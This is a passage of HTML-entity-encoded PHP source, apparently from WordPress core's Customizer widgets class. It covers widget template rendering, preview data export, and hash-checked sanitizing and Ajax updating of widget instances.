			&#039;data&#039;,
			sprintf( &#039;var _wpCustomizeWidgetsSettings = %s;&#039;, wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) )
		);

		/*
		 * TODO: Update &#039;wp-customize-widgets&#039; to not rely so much on things in
		 * &#039;customize-widgets&#039;. This will let us skip most of the above and not
		 * enqueue &#039;customize-widgets&#039; which saves bytes.
		 */

		if ( wp_use_widgets_block_editor() ) {
			$block_editor_context = new WP_Block_Editor_Context(
				array(
					&#039;name&#039; =&gt; &#039;core/customize-widgets&#039;,
				)
			);

			$editor_settings = get_block_editor_settings(
				get_legacy_widget_block_editor_settings(),
				$block_editor_context
			);

			wp_add_inline_script(
				&#039;wp-customize-widgets&#039;,
				sprintf(
					&#039;wp.domReady( function() {
					   wp.customizeWidgets.initialize( &quot;widgets-customizer&quot;, %s );
					} );&#039;,
					wp_json_encode( $editor_settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
				)
			);

			// Preload server-registered block schemas.
			wp_add_inline_script(
				&#039;wp-blocks&#039;,
				&#039;wp.blocks.unstable__bootstrapServerSideBlockDefinitions(&#039; . wp_json_encode( get_block_editor_server_block_settings(), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) . &#039;);&#039;
			);

			// Preload server-registered block bindings sources.
			$registered_sources = get_all_registered_block_bindings_sources();
			if ( ! empty( $registered_sources ) ) {
				$filtered_sources = array();
				foreach ( $registered_sources as $source ) {
					$filtered_sources[] = array(
						&#039;name&#039;        =&gt; $source-&gt;name,
						&#039;label&#039;       =&gt; $source-&gt;label,
						&#039;usesContext&#039; =&gt; $source-&gt;uses_context,
					);
				}
				$script = sprintf( &#039;for ( const source of %s ) { wp.blocks.registerBlockBindingsSource( source ); }&#039;, wp_json_encode( $filtered_sources, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) );
				wp_add_inline_script(
					&#039;wp-blocks&#039;,
					$script
				);
			}

			wp_add_inline_script(
				&#039;wp-blocks&#039;,
				sprintf( &#039;wp.blocks.setCategories( %s );&#039;, wp_json_encode( get_block_categories( $block_editor_context ), JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ),
				&#039;after&#039;
			);

			wp_enqueue_script( &#039;wp-customize-widgets&#039; );
			wp_enqueue_style( &#039;wp-customize-widgets&#039; );

			/** This action is documented in wp-admin/edit-form-blocks.php */
			do_action( &#039;enqueue_block_editor_assets&#039; );
		}
	}

	/**
	 * Renders the widget form control templates into the DOM.
	 *
	 * @since 3.9.0
	 */
	public function output_widget_control_templates() {
		?&gt;
		&lt;div id=&quot;widgets-left&quot;&gt;&lt;!-- compatibility with JS which looks for widget templates here --&gt;
		&lt;div id=&quot;available-widgets&quot;&gt;
			&lt;div class=&quot;customize-section-title&quot;&gt;
				&lt;button class=&quot;customize-section-back&quot; tabindex=&quot;-1&quot;&gt;
					&lt;span class=&quot;screen-reader-text&quot;&gt;
						&lt;?php
						/* translators: Hidden accessibility text. */
						_e( &#039;Back&#039; );
						?&gt;
					&lt;/span&gt;
				&lt;/button&gt;
				&lt;h3&gt;
					&lt;span class=&quot;customize-action&quot;&gt;
						&lt;?php
						$panel       = $this-&gt;manager-&gt;get_panel( &#039;widgets&#039; );
						$panel_title = $panel-&gt;title ?? __( &#039;Widgets&#039; );
						/* translators: &amp;#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer. */
						printf( __( &#039;Customizing &amp;#9656; %s&#039; ), esc_html( $panel_title ) );
						?&gt;
					&lt;/span&gt;
					&lt;?php _e( &#039;Add a Widget&#039; ); ?&gt;
				&lt;/h3&gt;
			&lt;/div&gt;
			&lt;div id=&quot;available-widgets-filter&quot;&gt;
				&lt;label for=&quot;widgets-search&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;Search Widgets&#039; );
					?&gt;
				&lt;/label&gt;
				&lt;input type=&quot;text&quot; id=&quot;widgets-search&quot; aria-describedby=&quot;widgets-search-desc&quot; /&gt;
				&lt;div class=&quot;search-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/div&gt;
				&lt;button type=&quot;button&quot; class=&quot;clear-results&quot;&gt;&lt;span class=&quot;screen-reader-text&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;Clear Results&#039; );
					?&gt;
				&lt;/span&gt;&lt;/button&gt;
				&lt;p class=&quot;screen-reader-text&quot; id=&quot;widgets-search-desc&quot;&gt;
					&lt;?php
					/* translators: Hidden accessibility text. */
					_e( &#039;The search results will be updated as you type.&#039; );
					?&gt;
				&lt;/p&gt;
			&lt;/div&gt;
			&lt;div id=&quot;available-widgets-list&quot;&gt;
			&lt;?php foreach ( $this-&gt;get_available_widgets() as $available_widget ) : ?&gt;
				&lt;div id=&quot;widget-tpl-&lt;?php echo esc_attr( $available_widget[&#039;id&#039;] ); ?&gt;&quot; data-widget-id=&quot;&lt;?php echo esc_attr( $available_widget[&#039;id&#039;] ); ?&gt;&quot; class=&quot;widget-tpl &lt;?php echo esc_attr( $available_widget[&#039;id&#039;] ); ?&gt;&quot; tabindex=&quot;0&quot;&gt;
					&lt;?php echo $available_widget[&#039;control_tpl&#039;]; ?&gt;
				&lt;/div&gt;
			&lt;?php endforeach; ?&gt;
			&lt;p class=&quot;no-widgets-found-message&quot;&gt;&lt;?php _e( &#039;No widgets found.&#039; ); ?&gt;&lt;/p&gt;
			&lt;/div&gt;&lt;!-- #available-widgets-list --&gt;
		&lt;/div&gt;&lt;!-- #available-widgets --&gt;
		&lt;/div&gt;&lt;!-- #widgets-left --&gt;
		&lt;?php
	}

	/**
	 * Calls admin_print_footer_scripts and admin_print_scripts hooks to
	 * allow custom scripts from plugins.
	 *
	 * @since 3.9.0
	 */
	public function print_footer_scripts() {
		/** This action is documented in wp-admin/admin-footer.php */
		do_action( &#039;admin_print_footer_scripts-widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		/** This action is documented in wp-admin/admin-footer.php */
		do_action( &#039;admin_print_footer_scripts&#039; );

		/** This action is documented in wp-admin/admin-footer.php */
		do_action( &#039;admin_footer-widgets.php&#039; ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}

	/**
	 * Retrieves common arguments to supply when constructing a Customizer setting.
	 *
	 * @since 3.9.0
	 *
	 * @param string $id        Widget setting ID.
	 * @param array  $overrides Array of setting overrides.
	 * @return array Possibly modified setting arguments.
	 */
	public function get_setting_args( $id, $overrides = array() ) {
		$args = array(
			&#039;type&#039;       =&gt; &#039;option&#039;,
			&#039;capability&#039; =&gt; &#039;edit_theme_options&#039;,
			&#039;default&#039;    =&gt; array(),
		);

		if ( preg_match( $this-&gt;setting_id_patterns[&#039;sidebar_widgets&#039;], $id, $matches ) ) {
			$args[&#039;sanitize_callback&#039;]    = array( $this, &#039;sanitize_sidebar_widgets&#039; );
			$args[&#039;sanitize_js_callback&#039;] = array( $this, &#039;sanitize_sidebar_widgets_js_instance&#039; );
			$args[&#039;transport&#039;]            = current_theme_supports( &#039;customize-selective-refresh-widgets&#039; ) ? &#039;postMessage&#039; : &#039;refresh&#039;;
		} elseif ( preg_match( $this-&gt;setting_id_patterns[&#039;widget_instance&#039;], $id, $matches ) ) {
			$id_base                      = $matches[&#039;id_base&#039;];
			$args[&#039;sanitize_callback&#039;]    = function ( $value ) use ( $id_base ) {
				return $this-&gt;sanitize_widget_instance( $value, $id_base );
			};
			$args[&#039;sanitize_js_callback&#039;] = function ( $value ) use ( $id_base ) {
				return $this-&gt;sanitize_widget_js_instance( $value, $id_base );
			};
			$args[&#039;transport&#039;]            = $this-&gt;is_widget_selective_refreshable( $matches[&#039;id_base&#039;] ) ? &#039;postMessage&#039; : &#039;refresh&#039;;
		}

		$args = array_merge( $args, $overrides );

		/**
		 * Filters the common arguments supplied when constructing a Customizer setting.
		 *
		 * @since 3.9.0
		 *
		 * @see WP_Customize_Setting
		 *
		 * @param array  $args Array of Customizer setting arguments.
		 * @param string $id   Widget setting ID.
		 */
		return apply_filters( &#039;widget_customizer_setting_args&#039;, $args, $id );
	}

	/**
	 * Ensures sidebar widget arrays only ever contain widget IDS.
	 *
	 * Used as the &#039;sanitize_callback&#039; for each $sidebars_widgets setting.
	 *
	 * @since 3.9.0
	 *
	 * @param string[] $widget_ids Array of widget IDs.
	 * @return string[] Array of sanitized widget IDs.
	 */
	public function sanitize_sidebar_widgets( $widget_ids ) {
		$widget_ids           = array_map( &#039;strval&#039;, (array) $widget_ids );
		$sanitized_widget_ids = array();
		foreach ( $widget_ids as $widget_id ) {
			$sanitized_widget_ids[] = preg_replace( &#039;/[^a-z0-9_\-]/&#039;, &#039;&#039;, $widget_id );
		}
		return $sanitized_widget_ids;
	}

	/**
	 * Builds up an index of all available widgets for use in Backbone models.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 * @global array $wp_registered_widget_controls
	 *
	 * @see wp_list_widgets()
	 *
	 * @return array List of available widgets.
	 */
	public function get_available_widgets() {
		static $available_widgets = array();
		if ( ! empty( $available_widgets ) ) {
			return $available_widgets;
		}

		global $wp_registered_widgets, $wp_registered_widget_controls;
		require_once ABSPATH . &#039;wp-admin/includes/widgets.php&#039;; // For next_widget_id_number().

		$sort = $wp_registered_widgets;
		usort( $sort, array( $this, &#039;_sort_name_callback&#039; ) );
		$done = array();

		foreach ( $sort as $widget ) {
			if ( in_array( $widget[&#039;callback&#039;], $done, true ) ) { // We already showed this multi-widget.
				continue;
			}

			$sidebar = is_active_widget( $widget[&#039;callback&#039;], $widget[&#039;id&#039;], false, false );
			$done[]  = $widget[&#039;callback&#039;];

			if ( ! isset( $widget[&#039;params&#039;][0] ) ) {
				$widget[&#039;params&#039;][0] = array();
			}

			$available_widget = $widget;
			unset( $available_widget[&#039;callback&#039;] ); // Not serializable to JSON.

			$args = array(
				&#039;widget_id&#039;   =&gt; $widget[&#039;id&#039;],
				&#039;widget_name&#039; =&gt; $widget[&#039;name&#039;],
				&#039;_display&#039;    =&gt; &#039;template&#039;,
			);

			$is_disabled     = false;
			$is_multi_widget = ( isset( $wp_registered_widget_controls[ $widget[&#039;id&#039;] ][&#039;id_base&#039;] ) &amp;&amp; isset( $widget[&#039;params&#039;][0][&#039;number&#039;] ) );
			if ( $is_multi_widget ) {
				$id_base            = $wp_registered_widget_controls[ $widget[&#039;id&#039;] ][&#039;id_base&#039;];
				$args[&#039;_temp_id&#039;]   = &quot;$id_base-__i__&quot;;
				$args[&#039;_multi_num&#039;] = next_widget_id_number( $id_base );
				$args[&#039;_add&#039;]       = &#039;multi&#039;;
			} else {
				$args[&#039;_add&#039;] = &#039;single&#039;;

				if ( $sidebar &amp;&amp; &#039;wp_inactive_widgets&#039; !== $sidebar ) {
					$is_disabled = true;
				}
				$id_base = $widget[&#039;id&#039;];
			}

			$list_widget_controls_args = wp_list_widget_controls_dynamic_sidebar(
				array(
					0 =&gt; $args,
					1 =&gt; $widget[&#039;params&#039;][0],
				)
			);
			$control_tpl               = $this-&gt;get_widget_control( $list_widget_controls_args );

			// The properties here are mapped to the Backbone Widget model.
			$available_widget = array_merge(
				$available_widget,
				array(
					&#039;temp_id&#039;      =&gt; $args[&#039;_temp_id&#039;] ?? null,
					&#039;is_multi&#039;     =&gt; $is_multi_widget,
					&#039;control_tpl&#039;  =&gt; $control_tpl,
					&#039;multi_number&#039; =&gt; ( &#039;multi&#039; === $args[&#039;_add&#039;] ) ? $args[&#039;_multi_num&#039;] : false,
					&#039;is_disabled&#039;  =&gt; $is_disabled,
					&#039;id_base&#039;      =&gt; $id_base,
					&#039;transport&#039;    =&gt; $this-&gt;is_widget_selective_refreshable( $id_base ) ? &#039;postMessage&#039; : &#039;refresh&#039;,
					&#039;width&#039;        =&gt; $wp_registered_widget_controls[ $widget[&#039;id&#039;] ][&#039;width&#039;],
					&#039;height&#039;       =&gt; $wp_registered_widget_controls[ $widget[&#039;id&#039;] ][&#039;height&#039;],
					&#039;is_wide&#039;      =&gt; $this-&gt;is_wide_widget( $widget[&#039;id&#039;] ),
				)
			);

			$available_widgets[] = $available_widget;
		}

		return $available_widgets;
	}

	/**
	 * Naturally orders available widgets by name.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget_a The first widget to compare.
	 * @param array $widget_b The second widget to compare.
	 * @return int Reorder position for the current widget comparison.
	 */
	protected function _sort_name_callback( $widget_a, $widget_b ) {
		return strnatcasecmp( $widget_a[&#039;name&#039;], $widget_b[&#039;name&#039;] );
	}

	/**
	 * Retrieves the widget control markup.
	 *
	 * @since 3.9.0
	 *
	 * @param array $args Widget control arguments.
	 * @return string Widget control form HTML markup.
	 */
	public function get_widget_control( $args ) {
		$args[0][&#039;before_form&#039;]           = &#039;&lt;div class=&quot;form&quot;&gt;&#039;;
		$args[0][&#039;after_form&#039;]            = &#039;&lt;/div&gt;&lt;!-- .form --&gt;&#039;;
		$args[0][&#039;before_widget_content&#039;] = &#039;&lt;div class=&quot;widget-content&quot;&gt;&#039;;
		$args[0][&#039;after_widget_content&#039;]  = &#039;&lt;/div&gt;&lt;!-- .widget-content --&gt;&#039;;
		ob_start();
		wp_widget_control( ...$args );
		$control_tpl = ob_get_clean();
		return $control_tpl;
	}

	/**
	 * Retrieves the widget control markup parts.
	 *
	 * @since 4.4.0
	 *
	 * @param array $args Widget control arguments.
	 * @return array {
	 *     @type string $control Markup for widget control wrapping form.
	 *     @type string $content The contents of the widget form itself.
	 * }
	 */
	public function get_widget_control_parts( $args ) {
		$args[0][&#039;before_widget_content&#039;] = &#039;&lt;div class=&quot;widget-content&quot;&gt;&#039;;
		$args[0][&#039;after_widget_content&#039;]  = &#039;&lt;/div&gt;&lt;!-- .widget-content --&gt;&#039;;
		$control_markup                   = $this-&gt;get_widget_control( $args );

		$content_start_pos = strpos( $control_markup, $args[0][&#039;before_widget_content&#039;] );
		$content_end_pos   = strrpos( $control_markup, $args[0][&#039;after_widget_content&#039;] );

		$control  = substr( $control_markup, 0, $content_start_pos + strlen( $args[0][&#039;before_widget_content&#039;] ) );
		$control .= substr( $control_markup, $content_end_pos );
		$content  = trim(
			substr(
				$control_markup,
				$content_start_pos + strlen( $args[0][&#039;before_widget_content&#039;] ),
				$content_end_pos - $content_start_pos - strlen( $args[0][&#039;before_widget_content&#039;] )
			)
		);

		return compact( &#039;control&#039;, &#039;content&#039; );
	}

	/**
	 * Adds hooks for the Customizer preview.
	 *
	 * @since 3.9.0
	 */
	public function customize_preview_init() {
		add_action( &#039;wp_enqueue_scripts&#039;, array( $this, &#039;customize_preview_enqueue&#039; ) );
		add_action( &#039;wp_print_styles&#039;, array( $this, &#039;print_preview_css&#039; ), 1 );
		add_action( &#039;wp_footer&#039;, array( $this, &#039;export_preview_data&#039; ), 20 );
	}

	/**
	 * Refreshes the nonce for widget updates.
	 *
	 * @since 4.2.0
	 *
	 * @param array $nonces Array of nonces.
	 * @return array Array of nonces.
	 */
	public function refresh_nonces( $nonces ) {
		$nonces[&#039;update-widget&#039;] = wp_create_nonce( &#039;update-widget&#039; );
		return $nonces;
	}

	/**
	 * Tells the script loader to load the scripts and styles of custom blocks
	 * if the widgets block editor is enabled.
	 *
	 * @since 5.8.0
	 *
	 * @param bool $is_block_editor_screen Current decision about loading block assets.
	 * @return bool Filtered decision about loading block assets.
	 */
	public function should_load_block_editor_scripts_and_styles( $is_block_editor_screen ) {
		if ( wp_use_widgets_block_editor() ) {
			return true;
		}

		return $is_block_editor_screen;
	}

	/**
	 * When previewing, ensures the proper previewing widgets are used.
	 *
	 * Because wp_get_sidebars_widgets() gets called early at {@see &#039;init&#039; } (via
	 * wp_convert_widget_settings()) and can set global variable `$_wp_sidebars_widgets`
	 * to the value of `get_option( &#039;sidebars_widgets&#039; )` before the Customizer preview
	 * filter is added, it has to be reset after the filter has been added.
	 *
	 * @since 3.9.0
	 *
	 * @param array $sidebars_widgets List of widgets for the current sidebar.
	 * @return array
	 */
	public function preview_sidebars_widgets( $sidebars_widgets ) {
		$sidebars_widgets = get_option( &#039;sidebars_widgets&#039;, array() );

		unset( $sidebars_widgets[&#039;array_version&#039;] );
		return $sidebars_widgets;
	}

	/**
	 * Enqueues scripts for the Customizer preview.
	 *
	 * @since 3.9.0
	 */
	public function customize_preview_enqueue() {
		wp_enqueue_script( &#039;customize-preview-widgets&#039; );
	}

	/**
	 * Inserts default style for highlighted widget at early point so theme
	 * stylesheet can override.
	 *
	 * @since 3.9.0
	 */
	public function print_preview_css() {
		?&gt;
		&lt;style&gt;
		.widget-customizer-highlighted-widget {
			outline: none;
			-webkit-box-shadow: 0 0 2px rgba(30, 140, 190, 0.8);
			box-shadow: 0 0 2px rgba(30, 140, 190, 0.8);
			position: relative;
			z-index: 1;
		}
		&lt;/style&gt;
		&lt;?php
	}

	/**
	 * Communicates the sidebars that appeared on the page at the very end of the page,
	 * and at the very end of the wp_footer,
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_sidebars
	 * @global array $wp_registered_widgets
	 */
	public function export_preview_data() {
		global $wp_registered_sidebars, $wp_registered_widgets;

		$switched_locale = switch_to_user_locale( get_current_user_id() );

		$l10n = array(
			&#039;widgetTooltip&#039; =&gt; __( &#039;Shift-click to edit this widget.&#039; ),
		);

		if ( $switched_locale ) {
			restore_previous_locale();
		}

		$rendered_sidebars = array_filter( $this-&gt;rendered_sidebars );
		$rendered_widgets  = array_filter( $this-&gt;rendered_widgets );

		// Prepare Customizer settings to pass to JavaScript.
		$settings = array(
			&#039;renderedSidebars&#039;            =&gt; array_fill_keys( array_keys( $rendered_sidebars ), true ),
			&#039;renderedWidgets&#039;             =&gt; array_fill_keys( array_keys( $rendered_widgets ), true ),
			&#039;registeredSidebars&#039;          =&gt; array_values( $wp_registered_sidebars ),
			&#039;registeredWidgets&#039;           =&gt; $wp_registered_widgets,
			&#039;l10n&#039;                        =&gt; $l10n,
			&#039;selectiveRefreshableWidgets&#039; =&gt; $this-&gt;get_selective_refreshable_widgets(),
		);

		foreach ( $settings[&#039;registeredWidgets&#039;] as &amp;$registered_widget ) {
			unset( $registered_widget[&#039;callback&#039;] ); // May not be JSON-serializable.
		}
		wp_print_inline_script_tag(
			sprintf( &#039;var _wpWidgetCustomizerPreviewSettings = %s;&#039;, wp_json_encode( $settings, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ) ) . &quot;\n//# sourceURL=&quot; . rawurlencode( __METHOD__ )
		);
	}

	/**
	 * Tracks the widgets that were rendered.
	 *
	 * @since 3.9.0
	 *
	 * @param array $widget Rendered widget to tally.
	 */
	public function tally_rendered_widgets( $widget ) {
		$this-&gt;rendered_widgets[ $widget[&#039;id&#039;] ] = true;
	}

	/**
	 * Determine if a widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $widget_id Widget ID to check.
	 * @return bool Whether the widget is rendered.
	 */
	public function is_widget_rendered( $widget_id ) {
		return ! empty( $this-&gt;rendered_widgets[ $widget_id ] );
	}

	/**
	 * Determines if a sidebar is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @param string $sidebar_id Sidebar ID to check.
	 * @return bool Whether the sidebar is rendered.
	 */
	public function is_sidebar_rendered( $sidebar_id ) {
		return ! empty( $this-&gt;rendered_sidebars[ $sidebar_id ] );
	}

	/**
	 * Tallies the sidebars rendered via is_active_sidebar().
	 *
	 * Keep track of the times that is_active_sidebar() is called in the template,
	 * and assume that this means that the sidebar would be rendered on the template
	 * if there were widgets populating it.
	 *
	 * @since 3.9.0
	 *
	 * @param bool   $is_active  Whether the sidebar is active.
	 * @param string $sidebar_id Sidebar ID.
	 * @return bool Whether the sidebar is active.
	 */
	public function tally_sidebars_via_is_active_sidebar_calls( $is_active, $sidebar_id ) {
		if ( is_registered_sidebar( $sidebar_id ) ) {
			$this-&gt;rendered_sidebars[ $sidebar_id ] = true;
		}

		/*
		 * We may need to force this to true, and also force-true the value
		 * for &#039;dynamic_sidebar_has_widgets&#039; if we want to ensure that there
		 * is an area to drop widgets into, if the sidebar is empty.
		 */
		return $is_active;
	}

	/**
	 * Tallies the sidebars rendered via dynamic_sidebar().
	 *
	 * Keep track of the times that dynamic_sidebar() is called in the template,
	 * and assume this means the sidebar would be rendered on the template if
	 * there were widgets populating it.
	 *
	 * @since 3.9.0
	 *
	 * @param bool   $has_widgets Whether the current sidebar has widgets.
	 * @param string $sidebar_id  Sidebar ID.
	 * @return bool Whether the current sidebar has widgets.
	 */
	public function tally_sidebars_via_dynamic_sidebar_calls( $has_widgets, $sidebar_id ) {
		if ( is_registered_sidebar( $sidebar_id ) ) {
			$this-&gt;rendered_sidebars[ $sidebar_id ] = true;
		}

		/*
		 * We may need to force this to true, and also force-true the value
		 * for &#039;is_active_sidebar&#039; if we want to ensure there is an area to
		 * drop widgets into, if the sidebar is empty.
		 */
		return $has_widgets;
	}

	/**
	 * Retrieves MAC for a serialized widget instance string.
	 *
	 * Allows values posted back from JS to be rejected if any tampering of the
	 * data has occurred.
	 *
	 * @since 3.9.0
	 *
	 * @param string $serialized_instance Widget instance.
	 * @return string MAC for serialized widget instance.
	 */
	protected function get_instance_hash_key( $serialized_instance ) {
		return wp_hash( $serialized_instance );
	}

	/**
	 * Sanitizes a widget instance.
	 *
	 * Unserialize the JS-instance for storing in the options. It&#039;s important that this filter
	 * only get applied to an instance *once*.
	 *
	 * @since 3.9.0
	 * @since 5.8.0 Added the `$id_base` parameter.
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param array  $value   Widget instance to sanitize.
	 * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null.
	 * @return array|null Sanitized widget instance.
	 */
	public function sanitize_widget_instance( $value, $id_base = null ) {
		global $wp_widget_factory;

		if ( array() === $value ) {
			return $value;
		}

		if ( isset( $value[&#039;raw_instance&#039;] ) &amp;&amp; $id_base &amp;&amp; wp_use_widgets_block_editor() ) {
			$widget_object = $wp_widget_factory-&gt;get_widget_object( $id_base );
			if ( ! empty( $widget_object-&gt;widget_options[&#039;show_instance_in_rest&#039;] ) ) {
				if ( &#039;block&#039; === $id_base &amp;&amp; ! current_user_can( &#039;unfiltered_html&#039; ) ) {
					/*
					 * The content of the &#039;block&#039; widget is not filtered on the fly while editing.
					 * Filter the content here to prevent vulnerabilities.
					 */
					$value[&#039;raw_instance&#039;][&#039;content&#039;] = wp_kses_post( $value[&#039;raw_instance&#039;][&#039;content&#039;] );
				}

				return $value[&#039;raw_instance&#039;];
			}
		}

		if (
			empty( $value[&#039;is_widget_customizer_js_value&#039;] ) ||
			empty( $value[&#039;instance_hash_key&#039;] ) ||
			empty( $value[&#039;encoded_serialized_instance&#039;] )
		) {
			return null;
		}

		$decoded = base64_decode( $value[&#039;encoded_serialized_instance&#039;], true );
		if ( false === $decoded ) {
			return null;
		}

		if ( ! hash_equals( $this-&gt;get_instance_hash_key( $decoded ), $value[&#039;instance_hash_key&#039;] ) ) {
			return null;
		}

		$instance = unserialize( $decoded );
		if ( false === $instance ) {
			return null;
		}

		return $instance;
	}

	/**
	 * Converts a widget instance into JSON-representable format.
	 *
	 * @since 3.9.0
	 * @since 5.8.0 Added the `$id_base` parameter.
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param array  $value   Widget instance to convert to JSON.
	 * @param string $id_base Optional. Base of the ID of the widget being sanitized. Default null.
	 * @return array JSON-converted widget instance.
	 */
	public function sanitize_widget_js_instance( $value, $id_base = null ) {
		global $wp_widget_factory;

		if ( empty( $value[&#039;is_widget_customizer_js_value&#039;] ) ) {
			$serialized = serialize( $value );

			$js_value = array(
				&#039;encoded_serialized_instance&#039;   =&gt; base64_encode( $serialized ),
				&#039;title&#039;                         =&gt; empty( $value[&#039;title&#039;] ) ? &#039;&#039; : $value[&#039;title&#039;],
				&#039;is_widget_customizer_js_value&#039; =&gt; true,
				&#039;instance_hash_key&#039;             =&gt; $this-&gt;get_instance_hash_key( $serialized ),
			);

			if ( $id_base &amp;&amp; wp_use_widgets_block_editor() ) {
				$widget_object = $wp_widget_factory-&gt;get_widget_object( $id_base );
				if ( ! empty( $widget_object-&gt;widget_options[&#039;show_instance_in_rest&#039;] ) ) {
					$js_value[&#039;raw_instance&#039;] = (object) $value;
				}
			}

			return $js_value;
		}

		return $value;
	}

	/**
	 * Strips out widget IDs for widgets which are no longer registered.
	 *
	 * One example where this might happen is when a plugin orphans a widget
	 * in a sidebar upon deactivation.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widgets
	 *
	 * @param array $widget_ids List of widget IDs.
	 * @return array Parsed list of widget IDs.
	 */
	public function sanitize_sidebar_widgets_js_instance( $widget_ids ) {
		global $wp_registered_widgets;
		$widget_ids = array_values( array_intersect( $widget_ids, array_keys( $wp_registered_widgets ) ) );
		return $widget_ids;
	}

	/**
	 * Finds and invokes the widget update and control callbacks.
	 *
	 * Requires that `$_POST` be populated with the instance data.
	 *
	 * @since 3.9.0
	 *
	 * @global array $wp_registered_widget_updates
	 * @global array $wp_registered_widget_controls
	 *
	 * @param string $widget_id Widget ID.
	 * @return array|WP_Error Array containing the updated widget information.
	 *                        A WP_Error object, otherwise.
	 */
	public function call_widget_update( $widget_id ) {
		global $wp_registered_widget_updates, $wp_registered_widget_controls;

		$setting_id = $this-&gt;get_setting_id( $widget_id );

		/*
		 * Make sure that other setting changes have previewed since this widget
		 * may depend on them (e.g. Menus being present for Navigation Menu widget).
		 */
		if ( ! did_action( &#039;customize_preview_init&#039; ) ) {
			foreach ( $this-&gt;manager-&gt;settings() as $setting ) {
				if ( $setting-&gt;id !== $setting_id ) {
					$setting-&gt;preview();
				}
			}
		}

		$this-&gt;start_capturing_option_updates();
		$parsed_id   = $this-&gt;parse_widget_id( $widget_id );
		$option_name = &#039;widget_&#039; . $parsed_id[&#039;id_base&#039;];

		/*
		 * If a previously-sanitized instance is provided, populate the input vars
		 * with its values so that the widget update callback will read this instance
		 */
		$added_input_vars = array();
		if ( ! empty( $_POST[&#039;sanitized_widget_setting&#039;] ) ) {
			$sanitized_widget_setting = json_decode( $this-&gt;get_post_value( &#039;sanitized_widget_setting&#039; ), true );
			if ( false === $sanitized_widget_setting ) {
				$this-&gt;stop_capturing_option_updates();
				return new WP_Error( &#039;widget_setting_malformed&#039; );
			}

			$instance = $this-&gt;sanitize_widget_instance( $sanitized_widget_setting, $parsed_id[&#039;id_base&#039;] );
			if ( is_null( $instance ) ) {
				$this-&gt;stop_capturing_option_updates();
				return new WP_Error( &#039;widget_setting_unsanitized&#039; );
			}

			if ( ! is_null( $parsed_id[&#039;number&#039;] ) ) {
				$value                         = array();
				$value[ $parsed_id[&#039;number&#039;] ] = $instance;
				$key                           = &#039;widget-&#039; . $parsed_id[&#039;id_base&#039;];
				$_REQUEST[ $key ]              = wp_slash( $value );
				$_POST[ $key ]                 = $_REQUEST[ $key ];
				$added_input_vars[]            = $key;
			} else {
				foreach ( $instance as $key =&gt; $value ) {
					$_REQUEST[ $key ]   = wp_slash( $value );
					$_POST[ $key ]      = $_REQUEST[ $key ];
					$added_input_vars[] = $key;
				}
			}
		}

		// Invoke the widget update callback.
		foreach ( (array) $wp_registered_widget_updates as $name =&gt; $control ) {
			if ( $name === $parsed_id[&#039;id_base&#039;] &amp;&amp; is_callable( $control[&#039;callback&#039;] ) ) {
				ob_start();
				call_user_func_array( $control[&#039;callback&#039;], $control[&#039;params&#039;] );
				ob_end_clean();
				break;
			}
		}

		// Clean up any input vars that were manually added.
		foreach ( $added_input_vars as $key ) {
			unset( $_POST[ $key ] );
			unset( $_REQUEST[ $key ] );
		}

		// Make sure the expected option was updated.
		if ( 0 !== $this-&gt;count_captured_options() ) {
			if ( $this-&gt;count_captured_options() &gt; 1 ) {
				$this-&gt;stop_capturing_option_updates();
				return new WP_Error( &#039;widget_setting_too_many_options&#039; );
			}

			$updated_option_name = key( $this-&gt;get_captured_options() );
			if ( $updated_option_name !== $option_name ) {
				$this-&gt;stop_capturing_option_updates();
				return new WP_Error( &#039;widget_setting_unexpected_option&#039; );
			}
		}

		// Obtain the widget instance.
		$option = $this-&gt;get_captured_option( $option_name );
		if ( null !== $parsed_id[&#039;number&#039;] ) {
			$instance = $option[ $parsed_id[&#039;number&#039;] ];
		} else {
			$instance = $option;
		}

		/*
		 * Override the incoming $_POST[&#039;customized&#039;] for a newly-created widget&#039;s
		 * setting with the new $instance so that the preview filter currently
		 * in place from WP_Customize_Setting::preview() will use this value
		 * instead of the default widget instance value (an empty array).
		 */
		$this-&gt;manager-&gt;set_post_value( $setting_id, $this-&gt;sanitize_widget_js_instance( $instance, $parsed_id[&#039;id_base&#039;] ) );

		// Obtain the widget control with the updated instance in place.
		ob_start();
		$form = $wp_registered_widget_controls[ $widget_id ];
		if ( $form ) {
			call_user_func_array( $form[&#039;callback&#039;], $form[&#039;params&#039;] );
		}
		$form = ob_get_clean();

		$this-&gt;stop_capturing_option_updates();

		return compact( &#039;instance&#039;, &#039;form&#039; );
	}

	/**
	 * Updates widget settings asynchronously.
	 *
	 * Allows the Customizer to update a widget using its form, but return the new
	 * instance info via Ajax instead of saving it to the options table.
	 *
	 * Most code here copied from wp_ajax_save_widget().
	 *
	 * @since 3.9.0
	 *
	 * @see wp_ajax_save_widget()
	 *
	 * @return never
	 */
	public function wp_ajax_update_widget() {

		if ( ! is_user_logged_in() ) {
			wp_die( 0 );
		}

		check_ajax_referer( &#039;update-widget&#039;, &#039;nonce&#039; );

		if ( ! current_user_can( &#039;edit_theme_options&#039; ) ) {
			wp_die( -1 );
		}

		if ( empty( $_POST[&#039;widget-id&#039;] ) ) {
			wp_send_json_error( &#039;missing_widget-id&#039; );
		}

		/** This action is documented in wp-admin/includes/ajax-actions.php */
